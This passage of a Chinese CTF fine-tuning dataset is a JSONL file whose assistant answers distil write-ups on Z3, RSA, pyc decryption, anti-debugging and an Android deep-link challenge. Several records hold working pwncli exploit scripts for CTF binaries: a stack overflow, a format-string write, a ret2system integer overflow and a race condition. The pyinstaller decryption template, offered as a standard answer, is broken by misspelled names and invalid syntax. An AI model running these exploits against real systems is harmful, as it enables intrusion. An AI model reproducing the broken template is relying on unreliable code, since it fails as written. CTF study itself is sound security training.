`model()`：在存在解的时候，该函数会将每个限制条件所对应的解集的交集，进而得出正解。\n\n分别对应设未知数，列方程组，判断方程是否有界，解方程组\n\n在使用 z3 进行约束求解之前我们首先需要获得一个求解器类实例，本质上其实就是一组约束的集合：\n\n```python\ns=z3.Solver()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::ccb9354c509c8e48", "original_line": 963, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "基本语句", "source": "Z3.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "ccb9354c509c8e48", "source_split": "train", "split": "train", "split_group_key": "3f399f1a9054c6fe9b47a244", "tags": ["reverse"], "title": "Z3", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-e231e95eb6340d61497f", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《RSA与大数运算》的“OpenSSL”部分，提炼一条适合 SFT 的中文技术讲解样本（第 5 段）。", "role": "user"}, {"content": "出处：RSA与大数运算 / OpenSSL（第 5 段）\n关键词：RSA、rsa、include、fprintf、stderr、Error、BN、RSA_free、BIGNUM、BN_free\n蒸馏要点：\n- 使用 OpenSSL 进行 RSA 加密和解密的例子：\n可用于训练的标准回答：\n- 实例\n\n使用 OpenSSL 进行 RSA 加密和解密的例子：\n\n```c\n#include\n#include\n#include\n#include\n#include\n#include\n\nint main() {\n\t//初始化\n    OpenSSL_add_all_algorithms();\n    ERR_load_crypto_strings();\n\n// 生成 RSA 密钥对\n    RSA *rsa = RSA_new();\n    if (rsa == NULL) {\n        fprintf(stderr, \"Error creating RSA key\\n\");\n        return 1;\n    }\n\nBIGNUM *bn = BN_new();\n    if (bn == NULL) {\n        fprintf(stderr, \"Error creating BIGNUM\\n\");\n        RSA_free(rsa);\n        return 1;\n    }\n\n// 设置常见的公钥指数 e（65537）\n    if (BN_set_word(bn, 65537) != 1) {\n        fprintf(stderr, \"Error setting exponent\\n\");\n        BN_free(bn);\n        RSA_free(rsa);\n        return 1;\n    }\n\n// 生成 RSA 密钥对，默认生成 2048 位密钥\n    if (RSA_generate_key_ex(rsa, 2048, bn, NULL) != 1) {\n        fprintf(stderr, \"Error generating RSA keys\\n\");\n        BN_free(bn);\n        RSA_free(rsa);\n        return 1;\n    }\n\n// 打印公钥和私钥\n    FILE *pub_file = fopen(\"p...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 4, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::81532963ca4ad56c", "original_line": 1025, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "OpenSSL", "source": "RSA与大数运算.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "81532963ca4ad56c", "source_split": "train", "split": "train", "split_group_key": "9575a180048e6ffbdcdcb15e", "tags": ["reverse", "crypto", "ctf-method"], "title": "RSA与大数运算", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-e535bbfe6ce505329357", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“ciscn2019n8”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“ciscn2019n8”。\n语言/类型：python\n关联知识点：\n- 通过溢出覆盖变量使变量满足条件拿到shell\n- ida的 LL 表示长整型值即8个字节，所以需要64位比较。\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nr()\npayload=b'a'*52+p64(17)\ns(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::f07fcf0b9168f00a", "original_line": 717, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "ciscn2019n8", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "f07fcf0b9168f00a", "source_split": "train", "split": "train", "split_group_key": "78594d1b4d39c6d6c3db8399", "tags": ["pwn", "reverse", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-e57024b24d02d93dae72", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pyc：pyc文件》的“使用key参数打包”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pyc：pyc文件 / 使用key参数打包\n关键词：AES、key、inf、outf、pyc、pyinstaller、test、tinyaes、import、zlib\n蒸馏要点：\n- 在使用 pyinstaller 的时候，可以使用 --key 参数对 pyc 进行加密然后再打包成 exe/elf。\n- 对于 pyinstaller =4.0 来说，使用该参数需要 tinyaes 库\n- 修改 test.py\n- `pyinstaller -F --key=this_is_a_secret test.py`\n- 对于这种被加密的我们需要进行解密。\n- 首先要找到 AES 的 key，一般反编译 pyimod00_crypto_key.pyc 就是 key 了。\n- 根据 pyinstaller 的版本来选择是使用`pycrypto`库或`tinyaes`库解密。\n可用于训练的标准回答：\n#### 使用key参数打包\n\n在使用 pyinstaller 的时候，可以使用 --key 参数对 pyc 进行加密然后再打包成 exe/elf。\n\n- 对于 pyinstaller =4.0 来说，使用该参数需要 tinyaes 库\n\n修改 test.py\n\n```python\nc=123\ndef add(a,b):\n\treturn a+b\n```\n\n`pyinstaller -F --key=this_is_a_secret test.py`\n\n对于这种被加密的我们需要进行解密。\n\n首先要找到 AES 的 key，一般反编译 pyimod00_crypto_key.pyc 就是 key 了。\n\n根据 pyinstaller 的版本来选择是使用`pycrypto`库或`tinyaes`库解密。\n\n模板：\n\n大于 4.0\n\n```python\nimport tinyaes\nimport zlib\n\nCORPT_BLOCK_SIZE = 16\n\nkey = bytes('this_is_a_secret','utf-8')\n\ninf = open('test.pyc.encryted','rb')\noutf = open('test.pyc','wb')\n\niv = inf.read(COYPT_BLOCK_SIZE)\n\ncipher = tinyaes.AES(key,iv)\n\nplaintext = zlib.decompress(cipher,CTR_xcrypt_buffer(inf.read()))\n\noutf.write(b\"\\x55\\x0d\\x0d\\x0a\\0\\0\\0\\0\\0\\0\\0\\0\")\n\noutf.write(plaintext)\n\ninf.close()\noutf.close()\n```\n\n小于 4.0\n\n```python\nimport Crypto.Cipher import AES\nimport zlib\n\nCORPT_BLOCK_SIZE = 16\n\nkey = bytes('this_is_a_secret','utf-8')\n\ninf...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf"], "original_id": "chatml::train::distilled_training_data::train::242008b0c09a77ba", "original_line": 1041, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "使用key参数打包", "source": "Pyc.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "242008b0c09a77ba", "source_split": "train", "split": "train", "split_group_key": "27a245693beb6e6d7a7435c7", "tags": ["reverse", "crypto"], "title": "Pyc：pyc文件", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-e5836ccb994e05b8d7f2", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《反调试》的“NtQueryInformationProcess”部分，提炼一条适合 SFT 的中文技术讲解样本（第 1 段）。", "role": "user"}, {"content": "出处：反调试 / NtQueryInformationProcess（第 1 段）\n关键词：PVOID、PROCESSINFOCLASS、ProcessDebugPort、NtQueryInformationProcess、NTSTATUS、ULONG、HANDLE、PULONG、PROCESS_BASIC_INFORMATION、hNtDll\n蒸馏要点：\n- dll`中一个 API，它用来提取一个给定进程的信息。\n可用于训练的标准回答：\n#### NtQueryInformationProcess\n\n这个函数是`Ntdll.dll`中一个 API，它用来提取一个给定进程的信息。它的第一个参数是进程句柄，第二个参数告诉我们它需要提取进程信息的类型。为第二个参数指定特定值并调用该函数，相关信息就会设置到第三个参数。第二个参数是一个枚举类型，其中与反调试有关的成员有`ProcessDebugPort(0x7)`、`ProcessDebugObjectHandle(0x1E)`和`ProcessDebugFlags(0x1F)`。例如将该参数置为`ProcessDebugPort`，如果进程正在被调试，则返回调试端口，否则返回 0。\n\n- 函数原型\n\n```c\nNTSTATUS NtQueryInformationProcess(\n  HANDLE ProcessHandle,\n  PROCESSINFOCLASS ProcessInformationClass,\n  PVOID ProcessInformation,\n  ULONG ProcessInformationLength,\n  PULONG ReturnLength\n);\n```\n\n- 实现\n\n```cpp\n#include\n#include\n#include\n\n// 声明未文档化的枚举和结构\ntypedef enum _PROCESSINFOCLASS {\n    ProcessBasicInformation = 0,\n    ProcessDebugPort = 7,\n    ProcessDebugObjectHandle = 30,\n    ProcessDebugFlags = 31\n} PROCESSINFOCLASS;\n\ntypedef struct _PROCESS_BASIC_INFORMATION {\n    PVOID Reserved1;\n    PVOID PebBaseAddress;\n    PVOID Reserved2[2];\n    ULONG_PTR UniqueProcessId;\n    PVOID Re...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::435e5a814fa0e778", "original_line": 905, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "NtQueryInformationProcess", "source": "反调试.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "435e5a814fa0e778", "source_split": "train", "split": "train", "split_group_key": "ab66756bac9e44aed460009a", "tags": ["reverse", "ctf-method"], "title": "反调试", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-e5f66345904c7ef68073", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“例题 [SUCTF2019] SignIn”？请用《RSA与大数运算》中的内容回答。", "role": "user"}, {"content": "1. 反编译分析，发现程序使用了 gmp 大数运算库。\n2. 根据`gmpz_powm`函数可以猜测程序为 RSA 加密校验程序，`65537`为 RSA 公钥的常用指数。\n3. 最后参与`powm`运算的`v4`变量初始化的字符串应该就是模数，剩下的初始化`v7`变量的字符串自然就是密文了。\n4. 通过工具yafu分解模数来得到$p$和$q$。\n5. 通过$p$、$q$计算欧拉函数值，然后和公钥指数$e$计算私钥$d$。\n6. 之后就可以通过私钥解密密文了。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::d3e88d0d7baf2747", "original_line": 938, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "例题 [SUCTF2019] SignIn", "source": "RSA与大数运算.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "d3e88d0d7baf2747", "source_split": "train", "split": "train", "split_group_key": "2a454949355942dec1bf531e", "tags": ["pwn", "crypto", "ctf-method"], "title": "RSA与大数运算", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-e66138072b6b08bb0455", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“jarvisojfmt”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / jarvisojfmt\n关键词：%11$n、gift、elf、ELF、payload、jarvisojfmt、exp、usr、bin、env\n蒸馏要点：\n- 利用`%11$n`，定位到了偏移为11的位置，往这个位置写入数据，写入的数据由`%11$n`前面的参数的长度决定，而我们的x参数的地址，正好是4位，\n可用于训练的标准回答：\n### jarvisojfmt\n\n#格式化字符串 #任意地址写\n\n- 分析\n\n利用`%11$n`，定位到了偏移为11的位置，往这个位置写入数据，写入的数据由`%11$n`前面的参数的长度决定，而我们的x参数的地址，正好是4位，\n\n3. exp\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\npayload=p32(0x804A02C)+b\"%11$n\"\nsl(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::f56e3e6eb72b40ce", "original_line": 46, "original_split": "test", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "jarvisojfmt", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "f56e3e6eb72b40ce", "source_split": "test", "split": "train", "split_group_key": "3fff6c8cda9ca26186b230e5", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-e6baa6496d281da61534", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[NISACTF 2022\\]shoppwn”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / [NISACTF 2022\\]shoppwn\n关键词：while、sla、NISACTF、gift、elf、ELF、shoppwn、usr、bin、env\n蒸馏要点：\n- 程序因为打开了一个新线程，但是我修改一个线程的东西可以影响另外一个线程。game函数里面的`while`是一直在跑的。\n可用于训练的标准回答：\n### [NISACTF 2022\\]shoppwn\n\n#条件竞争 #多线程竞争\n\n程序因为打开了一个新线程，但是我修改一个线程的东西可以影响另外一个线程。game函数里面的`while`是一直在跑的。\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nsl(b'3')\nsl(b'0')\n\nsl(b'3')\nsl(b'0')\n\nsla(b'> ', b'2')\nsla(b'> ', b'1')\nr()\n\nsla(b'> ', b'1')\nr()\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::da3f437af6424272", "original_line": 703, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[NISACTF 2022\\]shoppwn", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "da3f437af6424272", "source_split": "train", "split": "train", "split_group_key": "9b1368a90a297fb824e0030a", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-e7f1836210c273138f09", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“\\[SWPUCTF 2022 新生赛\\]Integer Overflow”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“\\[SWPUCTF 2022 新生赛\\]Integer Overflow”。\n语言/类型：python\n关联知识点：\n- 程序要求输入无符号数，但是没有限制输入字符，所以我们可以输入-1导致输入长度变大。\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nsh=0x804a008\nsys=0x8049100\nsla(b\"Tell me your choice:\",b\"1\")\n\nsla(b\"First input the length of your name:\",b\"-1\")\npayload=b'a'*36+p32(sys)+p32(0)+p32(sh)\nsa(b\"\\x1B[36m What's u name?\\n\\x1B[0m\",payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::bea2703a3d4af538", "original_line": 1026, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "\\[SWPUCTF 2022 新生赛\\]Integer Overflow", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "bea2703a3d4af538", "source_split": "train", "split": "train", "split_group_key": "6e1eab0fd4e2b75cd76a4048", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-e8cdbc50c605acadd283", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "请将《RSA与大数运算》蒸馏成模型训练用的知识卡片，要求覆盖主题、知识结构、关键术语和核心要点。", "role": "user"}, {"content": "主题：RSA与大数运算\n领域标签：pwn, reverse, crypto, ctf-method\n知识结构：简介 -> 素数和质数 -> 最大公约数 -> 乘法逆元 -> OpenSSL -> 例题 [SUCTF2019] SignIn\n关键术语：dest、const、RSA、op2、op1、mpz_t、unsigned、mpq_t、mpf_t、SSL、ctx、EVP_PKEY、rsa、BN、EVP_CIPHER_CTX、BIGNUM\n核心要点：\n- 为了应对对称加密中密钥泄露导致保护失效的缺陷，1976 年提出了公钥加密的概念。RSA 加密算法就属于公钥加密算法，是目前使用最广泛的公钥密码算法之一，以其高安全性而著称。\n- 公钥算法在加解密使用不同的密钥，加密所使用的叫做公钥，解密所使用的叫做私钥，任何人都可以使用密钥分发者所分发的公钥对信息进行加密，但只有私钥的所有者才可以进行解密。\n- 质数和素数是同一个概念，常用 “素数” 表示 “质数”。\n- 定义：素数是大于 1 的自然数，且只能被 1 和它本身整除。换句话说，一个素数只能有两个正因数：1 和它自己。\n- 例子：2, 3, 5, 7, 11, 13, 17, 19, 23, 29 等。\n- 注意：2 是唯一一个偶数素数，因为任何大于 2 的偶数都可以被 2 整除，因此不是素数。\n- 定义：$gcd(a, b)$表示$a$和$b$的最大公约数，即$a$和$b$的所有因子中最大的一个。\n- 计算两个数的最大公约数常使用欧几里得算法，该算法基于以下递归公式：\n- gcd(a, b) = gcd(b,a\\ mod\\ b)\n- 通过递归不断求余，直到余数为 0 时，非零的除数即为最大公约数。", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::3e8c3b9b4f23a31d", "original_line": 965, "original_split": "train", "record_family": "sft_chatml", "record_type": "article_knowledge_card", "section": "article_overview", "source": "RSA与大数运算.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "3e8c3b9b4f23a31d", "source_split": "train", "split": "train", "split_group_key": "93f825695017e959f937d349", "tags": ["pwn", "reverse", "crypto", "ctf-method"], "title": "RSA与大数运算", "type": "article_knowledge_card"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-e90f55c114db77335b92", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《2025强网杯 Qclac》的“processDeeplinkExpression”部分，提炼一条适合 SFT 的中文技术讲解样本（第 1 段）。", "role": "user"}, {"content": "出处：2025强网杯 Qclac / processDeeplinkExpression（第 1 段）\n关键词：Intent、expression、import、android、fallback、Activity、private、calculateSignature、calc_signature、intent\n蒸馏要点：\n- 每次处理 deep link 都会重整当前解释器状态。\n- 如果`expression`包含子串 `\"intent:\"`，则：\n- 使用 `Intent.parseUri(expression, 1)` 将字符串解析为 `Intent` 对象（反序列化/解析 URI 表示的 Intent）。\n- 将得到的 `Intent` 作为 `fallback` 存入当前 Activity 的启动 `Intent`（`getIntent().putExtra(\"fallback\", errorFallbackIntent)`）。\n- 计算 `expression` 的签名（用 `calculateSignature`），并把签名存入 `calc_signature` extra。\n- 在 UI 上显示 `Intent stored` 或在异常时显示 `Invalid expression`。\n- 最后处理四则运算表达式。\n可用于训练的标准回答：\n##### processDeeplinkExpression\n\n每次处理 deep link 都会重整当前解释器状态。\n\n如果`expression`包含子串 `\"intent:\"`，则：\n\n+ 使用 `Intent.parseUri(expression, 1)` 将字符串解析为 `Intent` 对象（反序列化/解析 URI 表示的 Intent）。\n+ 将得到的 `Intent` 作为 `fallback` 存入当前 Activity 的启动 `Intent`（`getIntent().putExtra(\"fallback\", errorFallbackIntent)`）。\n+ 计算 `expression` 的签名（用 `calculateSignature`），并把签名存入 `calc_signature` extra。\n+ 在 UI 上显示 `Intent stored` 或在异常时显示 `Invalid expression`。\n\n最后处理四则运算表达式。\n\n**onNewIntent方法：**\n\n```java\n@Override\nprotected void onNewIntent(Intent intent) throws URISyntaxException {\n    super.onNewIntent(intent);\n    handleIntent(intent);\n}\n```\n\n+ 当 Activity 已在栈顶（例如 `singleTop`、`singleTask`）并收到新的 Intent 时会调用此方法。\n+ 它把新的 `Intent` 交给 `handleIntent` 处理，确保 Deep Link 或外部再次唤起时能处理新的参数。\n+ 同样声明 `throws URISyntaxException`（可能为反编译冗余）。\n\n```java\npackage com.qinquang.calc;\n\nimport android.content.Intent;  // 用于界面跳转、数据传递\nimport android.net....", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "crypto", "web", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::a3f21d6dc97e37e0", "original_line": 1083, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "processDeeplinkExpression", "source": "2025强网杯 Qclac.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "a3f21d6dc97e37e0", "source_split": "train", "split": "train", "split_group_key": "58ae842358c6c0c025fbb041", "tags": ["pwn", "crypto", "web", "ctf-method"], "title": "2025强网杯 Qclac", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-e985f51bdd5610f2b280", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《2025强网杯 Qclac》的“AndroidManifest.xml”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：2025强网杯 Qclac / AndroidManifest.xml\n关键词：android、xml、intent、category、android.intent.action.MAIN、android.intent.category.LAUNCHER、action android.intent.action.VIEW、使用）。\n    -、：使该 Activity 可以被普通的隐式 Intent 调用。\n    -、：允许从浏览器或其他应用通过链接打开。\n    -\n蒸馏要点：\n- MainActivity：\n- 第一个 Intent Filter 是启动入口：\n- `android.intent.action.MAIN`：表示该 Activity 是应用的主入口。\n- `android.intent.category.LAUNCHER`：表示它会显示在设备的启动器（桌面）上。\n- 第二个 Intent Filter — 深度链接（Deep Link）\n- `action android.intent.action.VIEW`：表示该 Activity 可以用来查看某种数据（通常配合 `` 使用）。\n- `category android.intent.category.DEFAULT`：使该 Activity 可以被普通的隐式 Intent 调用。\n可用于训练的标准回答：\n#### AndroidManifest.xml\n\nMainActivity：\n\n+ 第一个 Intent Filter 是启动入口：\n    - `android.intent.action.MAIN`：表示该 Activity 是应用的主入口。\n    - `android.intent.category.LAUNCHER`：表示它会显示在设备的启动器（桌面）上。\n+ 第二个 Intent Filter — 深度链接（Deep Link）\n    - `action android.intent.action.VIEW`：表示该 Activity 可以用来查看某种数据（通常配合 `` 使用）。\n    - `category android.intent.category.DEFAULT`：使该 Activity 可以被普通的隐式 Intent 调用。\n    - `category android.intent.category.BROWSABLE`：允许从浏览器或其他应用通过链接打开。\n    - ``：\n        * `android:scheme=\"qiangcalc\"`：定义了自定义协议名；\n        * `android:host=\"calculate\"`：定义了主机名。\n\n所以 MainActivity 可通过`qiangcalc://calculate`形式的 uri 启动。\n\n+ contentProvider：\n\n```xml\n\n```\n\n这里检测了私有目录，所以这里没有路径穿越漏洞。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["ctf"], "original_id": "chatml::train::distilled_training_data::train::baa4cca5e4f1328e", "original_line": 1006, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "AndroidManifest.xml", "source": "2025强网杯 Qclac.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "baa4cca5e4f1328e", "source_split": "train", "split": "train", "split_group_key": "504f812386a6648de8f155af", "tags": ["ctf"], "title": "2025强网杯 Qclac", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
